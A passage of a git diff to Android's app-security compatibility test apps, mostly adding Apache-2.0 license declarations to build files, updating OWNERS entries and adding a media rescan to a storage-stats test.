 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsShimPrivUpgradeWrongSHAPrebuilt
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_CLASS := APPS
 LOCAL_BUILT_MODULE_STEM := package.apk
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
index b6f7cd0..9b7eae3 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
index 112b9db..b6baab3 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
index 9f1d735..b34d7a0 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
index a8819be..7e8d3a7 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
index 3b08af0..768a3c0 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsReadExternalStorageApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
index 4d46c79..797e317 100644
--- a/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSessionInspectorAppA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
index f547599..572f459 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSharedUidInstall",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
index 0fb005f..2804998 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSharedUidInstallDiffCert",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
index 76c8a2a..12f8f73 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSimpleAppInstall",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
index 279f2de..ddad4ea 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSimpleAppInstallDiffCert",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index 6c4a335..ec88e32 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -18,7 +18,7 @@
     package="com.android.cts.splitapp"
     android:targetSandboxVersion="2">
 
-    <uses-sdk android:minSdkVersion="4" />
+    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.CAMERA"/>
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS b/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS
new file mode 100644
index 0000000..f17768d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 533114
+patb@google.com
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index e495ad3..daa8a8f 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -19,6 +19,8 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := libsplitappjni
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_SRC_FILES := com_android_cts_splitapp_Native.cpp
 
 LOCAL_LDLIBS += -llog
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
index 3719805..ab51a4f 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsStorageAppLib",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
index d7c9fd8..4a2d4fa 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStorageStatsApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index 7d94aed..af75c90 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -197,6 +197,9 @@
         // Rename to ensure that stats are updated
         video.renameTo(new File(dir, System.nanoTime() + ".PnG"));
 
+        // Since we have MANAGE_EXTERNAL_STORAGE, need to ask for a re-scan
+        MediaStore.scanFile(getContext().getContentResolver(), dir);
+        MediaStore.scanFile(getContext().getContentResolver(), downloadsDir);
         MediaStore.waitForIdle(getContext().getContentResolver());
 
         final ExternalStorageStats afterRename = stats.queryExternalStatsForUser(UUID_DEFAULT, user);
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
index 03282b3..ba0bbee 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsTargetInstrumentationApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
index ce44a1c..22bf8d4 100644
--- a/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUseEmbeddedDexApp_Canonical",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
index c3ab6bf..b7ea673 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsePermissionDiffCert",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
index 2c0ed78..e6f3e8d 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
@@ -1,3 +1,2 @@
 # Bug component: 137825
-moltmann@google.com
 eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
index 38ccc7f..6540ac9 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailActivity/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUseProcessFailActivity",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
index 94fbf5f..8665e69 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailApplication/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUseProcessFailApplication",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
index bf94a46..f0b9223 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailProvider/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUseProcessFailProvider",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
index 8a0fa9b..b06920b 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailReceiver/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUseProcessFailReceiver",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
index 44ad956..bba62ad 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessFailService/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUseProcessFailService",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp b/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
index 8887a88..aa9c52a 100644
--- a/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UseProcessSuccess/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUseProcessSuccess",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
index 5b13a8b..c799d9d 100644
--- a/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/V3SigningSchemeRotation/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsV3SigningSchemeRotationTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
index cf2cb34..fa03865 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsWriteExternalStorageApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
index 65784ce..94742eb 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsWriteExternalStorageApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
index a7d7ee8..d69562c 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningABadUpgradeB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
index 9763629..a0d46f3 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningANoDefUpgradeB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
index f52826a..50192fb 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningCBadAUpgradeAB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
index 8b29b2b..841bef2 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetPermDefSigningA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
index 3e17886..dbb58eb 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetPermUseSigningA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
index 5a58116..0788393 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
index 769ad16..cabba2b 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed by cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
index 1c82153..8461773 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeAAndB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
index ed35679..f233cf5 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeAOrB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
index a075bf7..a5d423c 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uB/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
index 786b47d..1a9f810 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uBsharedUser/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSharedUserSigningAUpgradeB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
index b2ea20e..c91a30d 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uEcA/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed by cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeEcA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
index 1919495..2c8c2f4 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/keysets/uNone/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 //apks signed cts-keyset-test-a
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsKeySetSigningAUpgradeNone",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
index b35ffb5..79f9796 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAll/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOverlayPolicyAll",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
index 35d54ea..65b17d9 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayAndroid/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOverlayAndroid",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
index 01d4937..515ee5b 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOverlayApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
index 8674627..dbc33d8 100644
--- a/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/rro/OverlayPolicyProduct/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOverlayPolicyProduct",
     defaults: ["cts_support_defaults"],
